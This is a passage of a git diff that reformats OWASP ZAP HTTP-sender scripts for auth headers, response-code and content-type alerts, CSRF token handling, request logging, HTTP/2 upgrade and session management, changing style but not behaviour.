Java.type('org.zaproxy.zap.extension.script.ScriptVars'); +var HttpSender = Java.type("org.parosproxy.paros.network.HttpSender"); +var ScriptVars = Java.type("org.zaproxy.zap.extension.script.ScriptVars"); function sendingRequest(msg, initiator, helper) { - // add Authorization header to all request in scope except the authorization request itself if (initiator !== HttpSender.AUTHENTICATION_INITIATOR && msg.isInScope()) { - msg.getRequestHeader().setHeader("Authorization", "Bearer " + ScriptVars.getGlobalVar("access_token")); + msg + .getRequestHeader() + .setHeader( + "Authorization", + "Bearer " + ScriptVars.getGlobalVar("access_token") + ); } } diff --git a/httpsender/Alert on HTTP Response Code Errors.js b/httpsender/Alert on HTTP Response Code Errors.js index 0916ff45..910b8b39 100644 --- a/httpsender/Alert on HTTP Response Code Errors.js +++ b/httpsender/Alert on HTTP Response Code Errors.js @@ -2,96 +2,118 @@ // By default it will raise 'Info' level alerts for Client Errors (4xx) (apart from 404s) and 'Low' Level alerts for Server Errors (5xx) // But it can be easily changed. -var Pattern = Java.type("java.util.regex.Pattern") -pluginid = 100000 // https://github.com/zaproxy/zaproxy/blob/main/docs/scanners.md +var Pattern = Java.type("java.util.regex.Pattern"); +pluginid = 100000; // https://github.com/zaproxy/zaproxy/blob/main/docs/scanners.md function sendingRequest(msg, initiator, helper) { - // Nothing to do + // Nothing to do } function responseReceived(msg, initiator, helper) { - if (isGloballyExcluded(msg)) { - // Not of interest. - return - } - var extensionAlert = control.getExtensionLoader().getExtension( - org.zaproxy.zap.extension.alert.ExtensionAlert.NAME) - if (extensionAlert != null) { - var code = msg.getResponseHeader().getStatusCode() - if (code < 400 || code >= 600 || code == 404) { - // Do nothing - } else { - var risk = 0 // Info - var title = "A Client Error response code was returned by the server" - if (code >= 500) { - // Server error - risk = 1 // Low - title = "A Server Error response code was returned by the server" - } - // CONFIDENCE_HIGH = 3 (we can be pretty sure we're right) - var alert = new org.parosproxy.paros.core.scanner.Alert(pluginid, risk, 3, title) - var ref = msg.getHistoryRef() - if (ref != null && org.parosproxy.paros.model.HistoryReference.getTemporaryTypes().contains( - java.lang.Integer.valueOf(ref.getHistoryType()))) { - // Dont use temporary types as they will get deleted - ref = null - } - if (ref == null) { - // map the initiator - var type - switch (initiator) { - case 1: // PROXY_INITIATOR - type = 1 // Proxied - break - case 2: // ACTIVE_SCANNER_INITIATOR - type = 3 // Scanner - break - case 3: // SPIDER_INITIATOR - type = 2 // Spider - break - case 4: // FUZZER_INITIATOR - type = 8 // Fuzzer - break - case 5: // AUTHENTICATION_INITIATOR - type = 15 // User - break - case 6: // MANUAL_REQUEST_INITIATOR - type = 15 // User - break - case 8: // BEAN_SHELL_INITIATOR - type = 15 // User - break - case 9: // ACCESS_CONTROL_SCANNER_INITIATOR - type = 13 // Access control - break - default: - type = 15 // User - fallback - break - } - ref = new org.parosproxy.paros.model.HistoryReference(model.getSession(), type, msg) - } - alert.setMessage(msg) - alert.setUri(msg.getRequestHeader().getURI().toString()) - alert.setDescription("A response code of " + code + " was returned by the server.\n" + - "This may indicate that the application is failing to handle unexpected input correctly.\n" + - "Raised by the 'Alert on HTTP Response Code Error' script"); - // Use a regex to extract the evidence from the response header - var regex = new RegExp("^HTTP.*" + code) - alert.setEvidence(msg.getResponseHeader().toString().match(regex)) - alert.setCweId(388) // CWE CATEGORY: Error Handling - alert.setWascId(20) // WASC Improper Input Handling - extensionAlert.alertFound(alert , ref) - } - } + if (isGloballyExcluded(msg)) { + // Not of interest. + return; + } + var extensionAlert = control + .getExtensionLoader() + .getExtension(org.zaproxy.zap.extension.alert.ExtensionAlert.NAME); + if (extensionAlert != null) { + var code = msg.getResponseHeader().getStatusCode(); + if (code < 400 || code >= 600 || code == 404) { + // Do nothing + } else { + var risk = 0; // Info + var title = "A Client Error response code was returned by the server"; + if (code >= 500) { + // Server error + risk = 1; // Low + title = "A Server Error response code was returned by the server"; + } + // CONFIDENCE_HIGH = 3 (we can be pretty sure we're right) + var alert = new org.parosproxy.paros.core.scanner.Alert( + pluginid, + risk, + 3, + title + ); + var ref = msg.getHistoryRef(); + if ( + ref != null && + org.parosproxy.paros.model.HistoryReference.getTemporaryTypes().contains( + java.lang.Integer.valueOf(ref.getHistoryType()) + ) + ) { + // Dont use temporary types as they will get deleted + ref = null; + } + if (ref == null) { + // map the initiator + var type; + switch (initiator) { + case 1: // PROXY_INITIATOR + type = 1; // Proxied + break; + case 2: // ACTIVE_SCANNER_INITIATOR + type = 3; // Scanner + break; + case 3: // SPIDER_INITIATOR + type = 2; // Spider + break; + case 4: // FUZZER_INITIATOR + type = 8; // Fuzzer + break; + case 5: // AUTHENTICATION_INITIATOR + type = 15; // User + break; + case 6: // MANUAL_REQUEST_INITIATOR + type = 15; // User + break; + case 8: // BEAN_SHELL_INITIATOR + type = 15; // User + break; + case 9: // ACCESS_CONTROL_SCANNER_INITIATOR + type = 13; // Access control + break; + default: + type = 15; // User - fallback + break; + } + ref = new org.parosproxy.paros.model.HistoryReference( + model.getSession(), + type, + msg + ); + } + alert.setMessage(msg); + alert.setUri(msg.getRequestHeader().getURI().toString()); + alert.setDescription( + "A response code of " + + code + + " was returned by the server.\n" + + "This may indicate that the application is failing to handle unexpected input correctly.\n" + + "Raised by the 'Alert on HTTP Response Code Error' script" + ); + // Use a regex to extract the evidence from the response header + var regex = new RegExp("^HTTP.*" + code); + alert.setEvidence(msg.getResponseHeader().toString().match(regex)); + alert.setCweId(388); // CWE CATEGORY: Error Handling + alert.setWascId(20); // WASC Improper Input Handling + extensionAlert.alertFound(alert, ref); + } + } } function isGloballyExcluded(msg) { - var url = msg.getRequestHeader().getURI().toString() - var regexes = model.getSession().getGlobalExcludeURLRegexs() - for (var i in regexes) { - if (Pattern.compile(regexes[i], Pattern.CASE_INSENSITIVE).matcher(url).matches()) { - return true - } - } - return false + var url = msg.getRequestHeader().getURI().toString(); + var regexes = model.getSession().getGlobalExcludeURLRegexs(); + for (var i in regexes) { + if ( + Pattern.compile(regexes[i], Pattern.CASE_INSENSITIVE) + .matcher(url) + .matches() + ) { + return true; + } + } + return false; } diff --git a/httpsender/Alert on Unexpected Content Types.js b/httpsender/Alert on Unexpected Content Types.js index af81a1d8..3d500a4b 100644 --- a/httpsender/Alert on Unexpected Content Types.js +++ b/httpsender/Alert on Unexpected Content Types.js @@ -2,109 +2,131 @@ // By default it will raise 'Low' level alerts for content types that are not expected to be returned by APIs. // But it can be easily changed. -var Pattern = Java.type("java.util.regex.Pattern") +var Pattern = Java.type("java.util.regex.Pattern"); -var pluginid = 100001 // https://github.com/zaproxy/zaproxy/blob/main/docs/scanners.md +var pluginid = 100001; // https://github.com/zaproxy/zaproxy/blob/main/docs/scanners.md -var extensionAlert = control.getExtensionLoader().getExtension( - org.zaproxy.zap.extension.alert.ExtensionAlert.NAME) +var extensionAlert = control + .getExtensionLoader() + .getExtension(org.zaproxy.zap.extension.alert.ExtensionAlert.NAME); var expectedTypes = [ - "application/health+json", - "application/json", - "application/octet-stream", - "application/problem+json", - "application/problem+xml", - "application/soap+xml", - "application/vnd.api+json", - "application/xml", - "application/x-yaml", - "text/x-json", - "text/json", - "text/yaml" - ] + "application/health+json", + "application/json", + "application/octet-stream", + "application/problem+json", + "application/problem+xml", + "application/soap+xml", + "application/vnd.api+json", + "application/xml", + "application/x-yaml", + "text/x-json", + "text/json", + "text/yaml", +]; function sendingRequest(msg, initiator, helper) { - // Nothing to do + // Nothing to do } function responseReceived(msg, initiator, helper) { - if (isGloballyExcluded(msg)) { - // Not of interest. - return - } - if (extensionAlert != null) { - var ctype = msg.getResponseHeader().getHeader("Content-Type") - if (ctype != null) { - if (ctype.indexOf(";") > 0) { - ctype = ctype.substring(0, ctype.indexOf(";")) - } - if (expectedTypes.indexOf(ctype) < 0) { - // Another rule will complain if theres no type - - var risk = 1 // Low - var title = "Unexpected Content-Type was returned" - // CONFIDENCE_HIGH = 3 (we can be pretty sure we're right) - var alert = new org.parosproxy.paros.core.scanner.Alert(pluginid, risk, 3, title) - var ref = msg.getHistoryRef() - if (ref != null && org.parosproxy.paros.model.HistoryReference.getTemporaryTypes().contains( - java.lang.Integer.valueOf(ref.getHistoryType()))) { - // Dont use temporary types as they will get deleted - ref = null - } - if (ref == null) { - // map the initiator - var type - switch (initiator) { - case 1: // PROXY_INITIATOR - type = 1 // Proxied - break - case 2: // ACTIVE_SCANNER_INITIATOR - type = 3 // Scanner - break - case 3: // SPIDER_INITIATOR - type = 2 // Spider - break - case 4: // FUZZER_INITIATOR - type = 8 // Fuzzer - break - case 5: // AUTHENTICATION_INITIATOR - type = 15 // User - break - case 6: // MANUAL_REQUEST_INITIATOR - type = 15 // User - break - case 8: // BEAN_SHELL_INITIATOR - type = 15 // User - break - case 9: // ACCESS_CONTROL_SCANNER_INITIATOR - type = 13 // Access control - break - default: - type = 15 // User - fallback - break - } - ref = new org.parosproxy.paros.model.HistoryReference(model.getSession(), type, msg) - } - alert.setMessage(msg) - alert.setUri(msg.getRequestHeader().getURI().toString()) - alert.setDescription("A Content-Type of " + ctype + " was returned by the server.\n" + - "This is not one of the types expected to be returned by an API.\n" + - "Raised by the 'Alert on Unexpected Content Types' script"); - alert.setEvidence(ctype) - extensionAlert.alertFound(alert , ref) - } - } - } + if (isGloballyExcluded(msg)) { + // Not of interest. + return; + } + if (extensionAlert != null) { + var ctype = msg.getResponseHeader().getHeader("Content-Type"); + if (ctype != null) { + if (ctype.indexOf(";") > 0) { + ctype = ctype.substring(0, ctype.indexOf(";")); + } + if (expectedTypes.indexOf(ctype) < 0) { + // Another rule will complain if theres no type + + var risk = 1; // Low + var title = "Unexpected Content-Type was returned"; + // CONFIDENCE_HIGH = 3 (we can be pretty sure we're right) + var alert = new org.parosproxy.paros.core.scanner.Alert( + pluginid, + risk, + 3, + title + ); + var ref = msg.getHistoryRef(); + if ( + ref != null && + org.parosproxy.paros.model.HistoryReference.getTemporaryTypes().contains( + java.lang.Integer.valueOf(ref.getHistoryType()) + ) + ) { + // Dont use temporary types as they will get deleted + ref = null; + } + if (ref == null) { + // map the initiator + var type; + switch (initiator) { + case 1: // PROXY_INITIATOR + type = 1; // Proxied + break; + case 2: // ACTIVE_SCANNER_INITIATOR + type = 3; // Scanner + break; + case 3: // SPIDER_INITIATOR + type = 2; // Spider + break; + case 4: // FUZZER_INITIATOR + type = 8; // Fuzzer + break; + case 5: // AUTHENTICATION_INITIATOR + type = 15; // User + break; + case 6: // MANUAL_REQUEST_INITIATOR + type = 15; // User + break; + case 8: // BEAN_SHELL_INITIATOR + type = 15; // User + break; + case 9: // ACCESS_CONTROL_SCANNER_INITIATOR + type = 13; // Access control + break; + default: + type = 15; // User - fallback + break; + } + ref = new org.parosproxy.paros.model.HistoryReference( + model.getSession(), + type, + msg + ); + } + alert.setMessage(msg); + alert.setUri(msg.getRequestHeader().getURI().toString()); + alert.setDescription( + "A Content-Type of " + + ctype + + " was returned by the server.\n" + + "This is not one of the types expected to be returned by an API.\n" + + "Raised by the 'Alert on Unexpected Content Types' script" + ); + alert.setEvidence(ctype); + extensionAlert.alertFound(alert, ref); + } + } + } } function isGloballyExcluded(msg) { - var url = msg.getRequestHeader().getURI().toString() - var regexes = model.getSession().getGlobalExcludeURLRegexs() - for (var i in regexes) { - if (Pattern.compile(regexes[i], Pattern.CASE_INSENSITIVE).matcher(url).matches()) { - return true - } - } - return false + var url = msg.getRequestHeader().getURI().toString(); + var regexes = model.getSession().getGlobalExcludeURLRegexs(); + for (var i in regexes) { + if ( + Pattern.compile(regexes[i], Pattern.CASE_INSENSITIVE) + .matcher(url) + .matches() + ) { + return true; + } + } + return false; } diff --git a/httpsender/Capture and Replace Anti CSRF Token.js b/httpsender/Capture and Replace Anti CSRF Token.js index d88dce34..381a91b6 100644 --- a/httpsender/Capture and Replace Anti CSRF Token.js +++ b/httpsender/Capture and Replace Anti CSRF Token.js @@ -40,56 +40,77 @@ var parameterTypesList = [formParamType, urlParamType, cookieParamType]; //print ("AntiCsrfTokenValue: " + org.zaproxy.zap.extension.script.ScriptVars.getGlobalVar("anti.csrf.token.value")) function sendingRequest(msg, initiator, helper) { - // print('sendingRequest called for url=' + msg.getRequestHeader().getURI().toString()) - var numberOfParameterTypes = parameterTypesList.length; - for (var index=0; index < numberOfParameterTypes; index++) { - if (parameterTypesList[index] != null && parameterTypesList[index] === formParamType) { - var formParams = msg.getFormParams(); - // print ("Form Params before update: " + formParams); - var updatedFormParams = modifyParams(formParams); - // print ("Form Params after update: " + updatedFormParams); - msg.setFormParams(updatedFormParams); - } else if (parameterTypesList[index] != null && parameterTypesList[index] === urlParamType) { - var urlParams = msg.getUrlParams(); - // print ("Url Params before update: " + urlParams); - var updatedUrlParams = modifyParams(urlParams); - // print ("Url Params after update: " + updatedUrlParams); - msg.setGetParams(updatedUrlParams); - } else if (parameterTypesList[index] != null && parameterTypesList[index] === cookieParamType) { - var cookieParams = msg.getCookieParams(); - // print ("Cookie Params before update: " + cookieParams); - var updatedCookieParams = modifyParams(cookieParams); - // print ("Cookie Params after update: " + updatedCookieParams); - msg.setCookieParams(updatedCookieParams); - } + // print('sendingRequest called for url=' + msg.getRequestHeader().getURI().toString()) + var numberOfParameterTypes = parameterTypesList.length; + for (var index = 0; index < numberOfParameterTypes; index++) { + if ( + parameterTypesList[index] != null && + parameterTypesList[index] === formParamType + ) { + var formParams = msg.getFormParams(); + // print ("Form Params before update: " + formParams); + var updatedFormParams = modifyParams(formParams); + // print ("Form Params after update: " + updatedFormParams); + msg.setFormParams(updatedFormParams); + } else if ( + parameterTypesList[index] != null && + parameterTypesList[index] === urlParamType + ) { + var urlParams = msg.getUrlParams(); + // print ("Url Params before update: " + urlParams); + var updatedUrlParams = modifyParams(urlParams); + // print ("Url Params after update: " + updatedUrlParams); + msg.setGetParams(updatedUrlParams); + } else if ( + parameterTypesList[index] != null && + parameterTypesList[index] === cookieParamType + ) { + var cookieParams = msg.getCookieParams(); + // print ("Cookie Params before update: " + cookieParams); + var updatedCookieParams = modifyParams(cookieParams); + // print ("Cookie Params after update: " + updatedCookieParams); + msg.setCookieParams(updatedCookieParams); } + } } function responseReceived(msg, initiator, helper) { - // print('responseReceived called for url=' + msg.getRequestHeader().getURI().toString()) - if (msg.getRequestHeader().getURI().toString().match(urlRegEx) != null) { - var csrfTokenValue = msg.getResponseBody().toString().match(csrfTokenValueRegEx); - if (csrfTokenValue != null && csrfTokenValue.length > matcherGroupNumber) { - print('Latest CSRF Token value: ' + csrfTokenValue[matcherGroupNumber]); - org.zaproxy.zap.extension.script.ScriptVars.setGlobalVar("anti.csrf.token.value", csrfTokenValue[matcherGroupNumber]); - } + // print('responseReceived called for url=' + msg.getRequestHeader().getURI().toString()) + if (msg.getRequestHeader().getURI().toString().match(urlRegEx) != null) { + var csrfTokenValue = msg + .getResponseBody() + .toString() + .match(csrfTokenValueRegEx); + if (csrfTokenValue != null && csrfTokenValue.length > matcherGroupNumber) { + print("Latest CSRF Token value: " + csrfTokenValue[matcherGroupNumber]); + org.zaproxy.zap.extension.script.ScriptVars.setGlobalVar( + "anti.csrf.token.value", + csrfTokenValue[matcherGroupNumber] + ); } + } } function modifyParams(params) { - var iterator = params.iterator(); - while(iterator.hasNext()) { - var param = iterator.next(); - // Check if the url parameters has the antiCsrfTokenName in it. - if (param.getName().equals(antiCsrfTokenName)) { - var secureTokenValue = param.getValue(); - var antiCsrfTokenValue = org.zaproxy.zap.extension.script.ScriptVars.getGlobalVar("anti.csrf.token.value"); - // Check for the value of AntiCsrfTokenName in the existing request with the latest value captured from previous requests. - if (antiCsrfTokenValue != null && !secureTokenValue.equals(antiCsrfTokenValue)) { - param.setValue(antiCsrfTokenValue); - break; - } - } + var iterator = params.iterator(); + while (iterator.hasNext()) { + var param = iterator.next(); + // Check if the url parameters has the antiCsrfTokenName in it. + if (param.getName().equals(antiCsrfTokenName)) { + var secureTokenValue = param.getValue(); + var antiCsrfTokenValue = + org.zaproxy.zap.extension.script.ScriptVars.getGlobalVar( + "anti.csrf.token.value" + ); + // Check for the value of AntiCsrfTokenName in the existing request with the latest value captured from previous requests. + if ( + antiCsrfTokenValue != null && + !secureTokenValue.equals(antiCsrfTokenValue) + ) { + param.setValue(antiCsrfTokenValue); + break; + } } - return params; + } + return params; } diff --git a/httpsender/LogMessages.js b/httpsender/LogMessages.js index 239dab35..75d6e73c 100644 --- a/httpsender/LogMessages.js +++ b/httpsender/LogMessages.js @@ -24,37 +24,56 @@ // 'helper' just has one method at the moment: helper.getHttpSender() which returns the HttpSender // instance used to send the request. -var SEP = '\n ---------------------------------'; -var Files = Java.type('java.nio.file.Files'); -var Paths = Java.type('java.nio.file.Paths'); -var StandardOpenOption = Java.type('java.nio.file.StandardOpenOption'); +var SEP = "\n ---------------------------------"; +var Files = Java.type("java.nio.file.Files"); +var Paths = Java.type("java.nio.file.Paths"); +var StandardOpenOption = Java.type("java.nio.file.StandardOpenOption"); // Change this as required - this works well in Docker as long as a suitable local directory has been mapped to it -var f = Paths.get('/zap/wrk/req-resp-log.txt'); +var f = Paths.get("/zap/wrk/req-resp-log.txt"); function appendToFile(str) { - Files.write(f, str.toString().getBytes(), StandardOpenOption.CREATE, StandardOpenOption.APPEND); + Files.write( + f, + str.toString().getBytes(), + StandardOpenOption.CREATE, + StandardOpenOption.APPEND + ); } function sendingRequest(msg, initiator, helper) { - // You can change this to print out just the requests you want e.g. by surounding with an 'if' statement like: - // if (msg.getRequestHeader().getURI().toString().startsWith('http://www.example.com')) - // or - // if (initiator == 5) - - // Print everything on one line so that threads dont mix the output - appendToFile(SEP + 'ZAP Request Init=' + initiator + '\n' + - msg.getRequestHeader().toString() + - SEP + 'ZAP Request Body\n' + - msg.getRequestBody().toString() + - SEP + 'ZAP Request End'); + // You can change this to print out just the requests you want e.g. by surounding with an 'if' statement like: + // if (msg.getRequestHeader().getURI().toString().startsWith('http://www.example.com')) + // or + // if (initiator == 5) + + // Print everything on one line so that threads dont mix the output + appendToFile( + SEP + + "ZAP Request Init=" + + initiator + + "\n" + + msg.getRequestHeader().toString() + + SEP + + "ZAP Request Body\n" + + msg.getRequestBody().toString() + + SEP + + "ZAP Request End" + ); } function responseReceived(msg, initiator, helper) { - // Print everything on one line so that threads dont mix the output - appendToFile(SEP + 'ZAP Response Init=' + initiator + '\n' + - msg.getResponseHeader().toString() + - SEP + 'ZAP Response Body\n' + - msg.getResponseBody().toString() + - SEP + 'ZAP Response End'); -} \ No newline at end of file + // Print everything on one line so that threads dont mix the output + appendToFile( + SEP + + "ZAP Response Init=" + + initiator + + "\n" + + msg.getResponseHeader().toString() + + SEP + + "ZAP Response Body\n" + + msg.getResponseBody().toString() + + SEP + + "ZAP Response End" + ); +} diff --git a/httpsender/UpgradeHttp1To2.js b/httpsender/UpgradeHttp1To2.js index c4ed5f57..6fdcf236 100644 --- a/httpsender/UpgradeHttp1To2.js +++ b/httpsender/UpgradeHttp1To2.js @@ -5,22 +5,25 @@ var Locale = Java.type("java.util.Locale"); function sendingRequest(msg, initiator, helper) { - var reqHeader = msg.getRequestHeader() - if (reqHeader.getVersion() === 'HTTP/1.1') { - // print('Upgrading to HTTP/2 url=' + msg.getRequestHeader().getURI().toString()) - reqHeader.setVersion('HTTP/2') - // HTTP/2 headers have to be lowercase, so re-add them all to ensure the order is not changed - var headers = reqHeader.getHeaders() - for (i in headers) { - reqHeader.setHeader(headers[i].getName(), null) - } - // Re-add in a second loop in case a header appears twice - for (i in headers) { - reqHeader.addHeader(headers[i].getName().toLowerCase(Locale.ROOT), headers[i].getValue()) - } - } + var reqHeader = msg.getRequestHeader(); + if (reqHeader.getVersion() === "HTTP/1.1") { + // print('Upgrading to HTTP/2 url=' + msg.getRequestHeader().getURI().toString()) + reqHeader.setVersion("HTTP/2"); + // HTTP/2 headers have to be lowercase, so re-add them all to ensure the order is not changed + var headers = reqHeader.getHeaders(); + for (i in headers) { + reqHeader.setHeader(headers[i].getName(), null); + } + // Re-add in a second loop in case a header appears twice + for (i in headers) { + reqHeader.addHeader( + headers[i].getName().toLowerCase(Locale.ROOT), + headers[i].getValue() + ); + } + } } function responseReceived(msg, initiator, helper) { - // Nothing to do -} \ No newline at end of file + // Nothing to do +} diff --git a/httpsender/add-extra-headers.js b/httpsender/add-extra-headers.js index 94edd6ee..3b19e58f 100644 --- a/httpsender/add-extra-headers.js +++ b/httpsender/add-extra-headers.js @@ -4,82 +4,82 @@ // Logging with the script name is super helpful! function logger() { - print('[' + this['zap.script.name'] + '] ' + arguments[0]); + print("[" + this["zap.script.name"] + "] " + arguments[0]); } -var HttpSender = Java.type('org.parosproxy.paros.network.HttpSender'); -var ScriptVars = Java.type('org.zaproxy.zap.extension.script.ScriptVars'); +var HttpSender = Java.type("org.parosproxy.paros.network.HttpSender"); +var ScriptVars = Java.type("org.zaproxy.zap.extension.script.ScriptVars"); var ignoreHeader = [ - 'Connection', - 'Accept', - 'Origin', - 'Host', - 'Content-Type', - 'Content-Length', - 'Referer', - 'Cookie', - 'User-Agent', // @todo user-agent may be special? - 'Referer', - 'Accept-Language', - 'Access-Control-Request-Headers', - 'Access-Control-Request-Method', - 'Date', - 'Cache-Control', - 'Pragma', - 'Upgrade', - 'Via', - 'Upgrade-Insecure-Requests', - 'X-NewRelic-ID', -] + "Connection", + "Accept", + "Origin", + "Host", + "Content-Type", + "Content-Length", + "Referer", + "Cookie", + "User-Agent", // @todo user-agent may be special? + "Referer", + "Accept-Language", + "Access-Control-Request-Headers", + "Access-Control-Request-Method", + "Date", + "Cache-Control", + "Pragma", + "Upgrade", + "Via", + "Upgrade-Insecure-Requests", + "X-NewRelic-ID", +]; function sendingRequest(msg, initiator, helper) { if (initiator === HttpSender.AUTHENTICATION_INITIATOR) { - logger("Trying to auth") + logger("Trying to auth"); return; } - var hostname = msg.getRequestHeader().getHostName() - var varKey = "headers-" + hostname + var hostname = msg.getRequestHeader().getHostName(); + var varKey = "headers-" + hostname; var extras = ScriptVars.getGlobalVar(varKey); - var headers = msg.getRequestHeader().getHeaders() + var headers = msg.getRequestHeader().getHeaders(); if (extras) { - try { - if (extras.length < 4) { - extras = false - } else { - extras = JSON.parse(extras); - if (Object.keys(extras).length === 0) { - extras = false + try { + if (extras.length < 4) { + extras = false; + } else { + extras = JSON.parse(extras); + if (Object.keys(extras).length === 0) { + extras = false; + } } + } catch (err) { + logger(err); + extras = false; } - } catch(err) { - logger(err) - extras = false - } } if (!extras) { - extras = {} - for (var z in headers) { - var header = headers[z] - var name = header.getName() - var val = header.getValue() - if (~ignoreHeader.indexOf(name)) { - continue - } - logger("Found interesting header: " + name) - extras[name] = val - } + extras = {}; + for (var z in headers) { + var header = headers[z]; + var name = header.getName(); + var val = header.getValue(); + if (~ignoreHeader.indexOf(name)) { + continue; + } + logger("Found interesting header: " + name); + extras[name] = val; + } - ScriptVars.setGlobalVar(varKey, JSON.stringify(extras)) + ScriptVars.setGlobalVar(varKey, JSON.stringify(extras)); } for (var key in extras) { - if (msg.getRequestHeader().getHeader(key)) { - logger("Setting extra header - " + key + ": " + extras[key]) - msg.getRequestHeader().setHeader(key, extras[key]); - } + if (msg.getRequestHeader().getHeader(key)) { + logger("Setting extra header - " + key + ": " + extras[key]); + msg.getRequestHeader().setHeader(key, extras[key]); + } } } diff --git a/httpsender/add-more-headers.js b/httpsender/add-more-headers.js index c35ff006..73f2a7ce 100644 --- a/httpsender/add-more-headers.js +++ b/httpsender/add-more-headers.js @@ -23,13 +23,13 @@ user_headers = null; // Logging with the script name is super helpful! function logger() { - print('[' + this['zap.script.name'] + '] ' + arguments[0]); + print("[" + this["zap.script.name"] + "] " + arguments[0]); } // Parse and store headers where we can get at them quickly function initializeHeaders(variableName) { - logger("Initializing..."); - user_headers = JSON.parse(ScriptVars.getGlobalVar(variableName)); + logger("Initializing..."); + user_headers = JSON.parse(ScriptVars.getGlobalVar(variableName)); } /* @@ -44,17 +44,17 @@ function initializeHeaders(variableName) { * @param {HttpSenderScriptHelper} helper - A utility object with helper functions. */ function sendingRequest(msg, initiator, helper) { - // Get user-supplied headers if we didn't already do it - if (!user_headers) { - initializeHeaders(PARAMETER_VARIABLE); - } + // Get user-supplied headers if we didn't already do it + if (!user_headers) { + initializeHeaders(PARAMETER_VARIABLE); + } - // Ensure each header is present with the required value - for (var key in user_headers) { - var value = user_headers[key]; - // logger("Setting " + key + " to " + value); - msg.getRequestHeader().setHeader(key, value); - } + // Ensure each header is present with the required value + for (var key in user_headers) { + var value = user_headers[key]; + // logger("Setting " + key + " to " + value); + msg.getRequestHeader().setHeader(key, value); + } } /* Called after receiving the response from the server. @@ -64,5 +64,5 @@ function sendingRequest(msg, initiator, helper) { * @param {HttpSenderScriptHelper} helper - A utility object with helper functions. */ function responseReceived(msg, initiator, helper) { - // Nothing to do here + // Nothing to do here } diff --git a/httpsender/fingerprinter.js b/httpsender/fingerprinter.js index ac075d68..bf8bc983 100644 --- a/httpsender/fingerprinter.js +++ b/httpsender/fingerprinter.js @@ -3,20 +3,20 @@ // Logging with the script name is super helpful! function logger() { - print('[' + this['zap.script.name'] + '] ' + arguments[0]); + print("[" + this["zap.script.name"] + "] " + arguments[0]); } -var String = Java.type('java.lang.String'); -var BigInteger = Java.type('java.math.BigInteger'); -var MessageDigest = Java.type('java.security.MessageDigest'); +var String = Java.type("java.lang.String"); +var BigInteger = Java.type("java.math.BigInteger"); +var MessageDigest = Java.type("java.security.MessageDigest"); function sendingRequest(msg, initiator, helper) {} function responseReceived(msg, initiator, helper) { var resbody = msg.getResponseBody().toString(); - var md5 = MessageDigest.getInstance("MD5"); + var md5 = MessageDigest.getInstance("MD5"); md5.reset(); md5.update(resbody.getBytes()); var fingerprint = String.format("%032x", new BigInteger(1, md5.digest())); logger(fingerprint); -} \ No newline at end of file +} diff --git a/httpsender/full-session-n-csrf-nashorn.js b/httpsender/full-session-n-csrf-nashorn.js index d0f485ea..b3c0bdc3 100644 --- a/httpsender/full-session-n-csrf-nashorn.js +++ b/httpsender/full-session-n-csrf-nashorn.js @@ -2,28 +2,30 @@ * @author D-36O at 0u7100k (c0m) * @since 17/02/2021 * @summary Session and csrf management without auth/session scripts (nashorn compatible). - * + * * Copyright 2021 Diego Díaz Morales - * + * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at - * + * * http://www.apache.org/licenses/LICENSE-2.0 - * + * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ - + var Source = Java.type("net.htmlparser.jericho.Source"); var ScriptVars = Java.type("org.zaproxy.zap.extension.script.ScriptVars"); var HttpSender = Java.type("org.parosproxy.paros.network.HttpSender"); var HttpMessage = Java.type("org.parosproxy.paros.network.HttpMessage"); var HttpHeader = Java.type("org.parosproxy.paros.network.HttpHeader"); -var HttpRequestHeader = Java.type("org.parosproxy.paros.network.HttpRequestHeader"); +var HttpRequestHeader = Java.type( + "org.parosproxy.paros.network.HttpRequestHeader" +); var HttpRequestBody = Java.type("org.zaproxy.zap.network.HttpRequestBody"); var URI = Java.type("org.apache.commons.httpclient.URI"); var HttpCookie = Java.type("java.net.HttpCookie"); @@ -56,506 +58,677 @@ var PASSWORD = "password"; var SESSION_COOKIE_NAME = "PHPSESSID"; var CSRF_PARAM_NAME = "user_token"; var CSRF_HEADER_NAME = "X-CSRF-TOKEN"; -var LOGIN_DATA = "username=" + USERNAME + "&password=" + PASSWORD + "&Login=Login&user_token="; +var LOGIN_DATA = + "username=" + USERNAME + "&password=" + PASSWORD + "&Login=Login&user_token="; var UNAUTH_LOCATION = "http://" + HOST + "/login.php"; var PRE_AUTH_GET = "http://" + HOST + "/login.php"; var AUTH_POST = "http://" + HOST + "/login.php"; var CSRF_GET = "http://" + HOST + "/login.php"; var CSRF_PER_REQUEST = true; -function ID() { return Thread.currentThread().getId() } +function ID() { + return Thread.currentThread().getId(); +} function AuthInfo(session, csrf) { - this.session = session; - this.csrf = csrf; - this.id = ID(); - this.toString = function() { return "{ id: " + this.id + ", session: " + this.session + ", csrf: " + this.csrf + " }" };} + this.session = session; + this.csrf = csrf; + this.id = ID(); + this.toString = function () { + return ( + "{ id: " + + this.id + + ", session: " + + this.session + + ", csrf: " + + this.csrf + + " }" + ); + }; +} function AuthPool(name) { - this.sessions = []; - this.name = name; - this.lock = Java.synchronized(function(e) { e.id = ID() }); - this.unlock = Java.synchronized(function(e) { e.id = null }); - this.toJson = function() { return JSON.stringify(this.sessions) }; - this.toString = function() { return this.name + ": " + JSON.stringify(this.sessions) }; - this.pushSession = function(authInfo) { this.sessions.push(authInfo); return this }; - this.pollSession = function() { var e = find(this.sessions, function(e) { return !e.id }); if(e) this.lock(e); return e }; - this.recoverSession = function() { return find(this.sessions, function(e) { return e.id == ID() }) }; - this.releaseSession = function() { var e = find(this.sessions, function(e) { return e.id == ID() }); if(e) this.unlock(e); return this }; - this.invalidateSession = function () { - for (var i in this) { - if (this[i]["th"] == ID()) { - this.splice(i, 1); - return; - } - } - }; -} var authPool = new AuthPool(DATA_KEY); + this.sessions = []; + this.name = name; + this.lock = Java.synchronized(function (e) { + e.id = ID(); + }); + this.unlock = Java.synchronized(function (e) { + e.id = null; + }); + this.toJson = function () { + return JSON.stringify(this.sessions); + }; + this.toString = function () { + return this.name + ": " + JSON.stringify(this.sessions); + }; + this.pushSession = function (authInfo) { + this.sessions.push(authInfo); + return this; + }; + this.pollSession = function () { + var e = find(this.sessions, function (e) { + return !e.id; + }); + if (e) this.lock(e); + return e; + }; + this.recoverSession = function () { + return find(this.sessions, function (e) { + return e.id == ID(); + }); + }; + this.releaseSession = function () { + var e = 